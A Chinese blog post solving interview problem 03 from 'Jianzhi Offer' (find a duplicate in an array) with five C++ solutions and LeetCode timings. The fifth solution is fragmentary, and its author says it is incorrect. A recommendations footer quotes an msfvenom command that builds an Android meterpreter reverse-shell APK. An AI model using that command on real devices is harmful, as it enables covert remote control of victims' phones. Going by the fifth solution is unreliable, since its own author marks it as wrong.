《剑指offer》面试题03. 数组中重复的数字
问题描述
找出数组中重复的数字。
在一个长度为 n 的数组 nums 里的所有数字都在 0~n-1 的范围内。数组中某些数字是重复的,但不知道有几个数字重复了,也不知道每个数字重复了几次。请找出数组中任意一个重复的数字。
示例 1:
输入:
[2, 3, 1, 0, 2, 5, 3]
输出:2 或 3
限制:
2 <= n <= 100000
这道题和leetcode 287. 寻找重复数相似:
代码1
时间复杂度\(O(N)\),空间复杂度\(O(N)\).
class Solution {
public:
int findRepeatNumber(vector<int>& nums) {
int n = nums.size(),i;
vector<int> map(n,0);
for(i = 0; i< n; ++i)
{
++map[nums[i]];
if(map[nums[i]]>1)
break;
}
return nums[i];
}
};
结果:
执行用时 :116 ms, 在所有 C++ 提交中击败了17.01%的用户
内存消耗 :24 MB, 在所有 C++ 提交中击败了100.00%的用户
代码2
如果允许移动数据,时间复杂度为\(O(N\log(N))\),空间复杂度为\(O(1)\):
class Solution {
public:
int findRepeatNumber(vector<int>& nums) {
int n = nums.size(),i;
sort(nums.begin(),nums.end());
for(i = 0; i < n-1; ++i)
{
if(nums[i] == nums[i+1])
break;
}
return nums[i];
}
};
结果:
执行用时 :132 ms, 在所有 C++ 提交中击败了12.97%的用户
内存消耗 :23.3 MB, 在所有 C++ 提交中击败了100.00%的用户
代码3
如果允许修改数据,时间复杂度为\(O(N)\),空间复杂度为\(O(1)\):
class Solution {
public:
int findRepeatNumber(vector<int>& nums) {
int i,n = nums.size(),j;
for(i = 0; i < n; ++i)
{
j = abs(nums[i]);
if(nums[j] < 0)return j;
else nums[j] = -nums[j];
}
//因为一定有重复的数字,前面如果没有退出程序的话说明重复的是0
return 0;
}
};
结果:
执行用时 :92 ms, 在所有 C++ 提交中击败了28.16%的用户
内存消耗 :22.8 MB, 在所有 C++ 提交中击败了100.00%的用户
代码4
如果允许移动数据,时间复杂度为\(O(N)\),空间复杂度为\(O(1)\):
class Solution {
public:
int findRepeatNumber(vector<int>& nums) {
int i,n = nums.size(),j;
for(i = 0; i < n; ++i)
{
//我不在该在的地方,我该在的地方不是我
while(nums[i] != i && nums[i] != nums[nums[i]])
swap(nums[i],nums[nums[i]]);
//我不在该在的地方,我该在的地方还有我
if(nums[i] != i && nums[i] == nums[nums[i]])
break;
}
return nums[i];
}
};
结果:
执行用时 :92 ms, 在所有 C++ 提交中击败了28.16%的用户
内存消耗 :23.1 MB, 在所有 C++ 提交中击败了100.00%的用户
代码5
如果不允许移动数据,不允许修改数据,时间复杂度为\(O(N\log(N))\),空间复杂度为\(O(1)\),注意不能简单的写为
int findRepeatNumber(vector<int>& nums) {
int i,n = nums.size(),left = 1,right = n,middle,num;
while(left < right)
{
middle=left+(right-left)/2;
cout<<"("<<left<<","<<middle<<","<<right<<")"<<endl;
num = 0;
for(i = 0; i < n; ++i)
if(nums[i]+1 <= middle)
++num;
cout<<" "<<num<<endl;
if(num <= middle)
left = middle+1;
else
right = middle;
}
return left-1;
}
};
反例[0, 1, 2, 3, 4, 11, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15],上面的写法适宜于写\(n+1\)个在1到n之间的元素,即不缺元素,这个例子缺个5.正确写法待思考。
《剑指offer》面试题03. 数组中重复的数字的更多相关文章
- 【Java】 剑指offer(1) 找出数组中重复的数字
本文参考自<剑指offer>一书,代码采用Java语言. 更多:<剑指Offer>Java实现合集 题目 在一个长度为n的数组里的所有数字都在0到n-1的范围内.数组中某些数字 ...
- 【剑指Offer】50、数组中重复的数字
题目描述: 在一个长度为n的数组里的所有数字都在0到n-1的范围内. 数组中某些数字是重复的,但不知道有几个数字是重复的.也不知道每个数字重复几次.请找出数组中任意一个重复的数字. 例如,如果 ...
- 剑指offer(50)数组中重复的数字
题目描述 在一个长度为n的数组里的所有数字都在0到n-1的范围内. 数组中某些数字是重复的,但不知道有几个数字是重复的.也不知道每个数字重复几次.请找出数组中任意一个重复的数字. 例如,如果输入长度为 ...
- 剑指offer五十之数组中重复的数字
一.题目 在一个长度为n的数组里的所有数字都在0到n-1的范围内. 数组中某些数字是重复的,但不知道有几个数字是重复的.也不知道每个数字重复几次.请找出数组中任意一个重复的数字. 例如,如果输入长度为 ...
- 【剑指Offer】面试题03. 数组中重复的数字
题目 找出数组中重复的数字. 在一个长度为 n 的数组 nums 里的所有数字都在 0-n-1 的范围内.数组中某些数字是重复的,但不知道有几个数字重复了,也不知道每个数字重复了几次.请找出数组中任意 ...
- 剑指Offer:面试题29——数组中出现次数超过一半的数字(java实现)
PS:在前几天的面试中,被问到了这个题.然而当时只能用最低效的方法来解. 问题描述: 数组中有一个数字出现的次数超过数组长度的一半,请找出这个数字.例如输入一个长度为9的数组{1,2,3,2,2,2, ...
- 剑指offer第二版-3.数组中重复的数
面试题3:数组中重复的数 题目要求: 在一个长度为n的数组中,所有数字的取值范围都在[0,n-1],但不知道有几个数字重复或重复几次,找出其中任意一个重复的数字. 解法比较: /** * Copyri ...
- 剑指offer 面试题 删除链表中重复的节点
题目描述 在一个排序的链表中,存在重复的结点,请删除该链表中重复的结点,重复的结点不保留,返回链表头指针. 例如,链表1->2->3->3->4->4->5 处理后 ...
- 剑指offer 面试题56. 数组中只出现一次的两个数字
题目描述 一个整型数组里除了两个数字之外,其他的数字都出现了两次.请写程序找出这两个只出现一次的数字. 方法1:用set记录出现过的数字 class Solution { public: void F ...
随机推荐
- Kali渗透安卓手机
kali渗透安卓手机 1.生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPORT=端口 R > test.apk 在终 ...
- CF740B Alyona and flowers 题解
Content 有 \(n\) 个数 \(a_1,a_2,a_3,...,a_n\),给定 \(m\) 个区间,你可以选择一些区间使得它们的总和最大(也可以不选),求这个最大的总和. 数据范围:\(1 ...
- 在mysql5.8中用json_extract函数解析json
背景:某个字段的数据中是JSON,需要提取其中的卡号部分,如: {"objType":"WARE","orderId":6771254073 ...
- JAVA使用多线程进行数据处理
import org.apache.commons.collections.CollectionUtils; import org.slf4j.Logger; import org.slf4j.Log ...
- 拥有大量相同结构Activity的项目精简经验—— ReUsableActivity
简介 一个可以重复利用的Activity.通过设置不同的Fragment加入到一个可复用的Activity中实现代码的精简. 这个仓库可以用来精简项目中拥有大量重复的AppBar布局的Android ...
- 【LeetCode】616. Add Bold Tag in String 解题报告(C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 遍历 日期 题目地址:https://leetcode ...
- 【LeetCode】1020. Partition Array Into Three Parts With Equal Sum 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...
- 【LeetCode】530. Minimum Absolute Difference in BST 解题报告(Java & Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 Java解法 Python解法 日期 题目地址:ht ...
- 【LeetCode】214. Shortest Palindrome 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 前缀是否回文 判断前缀 相似题目 参考资料 日期 题 ...
- 【LeetCode】200. Number of Islands 岛屿数量
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 DFS BFS 日期 题目地址:https://le ...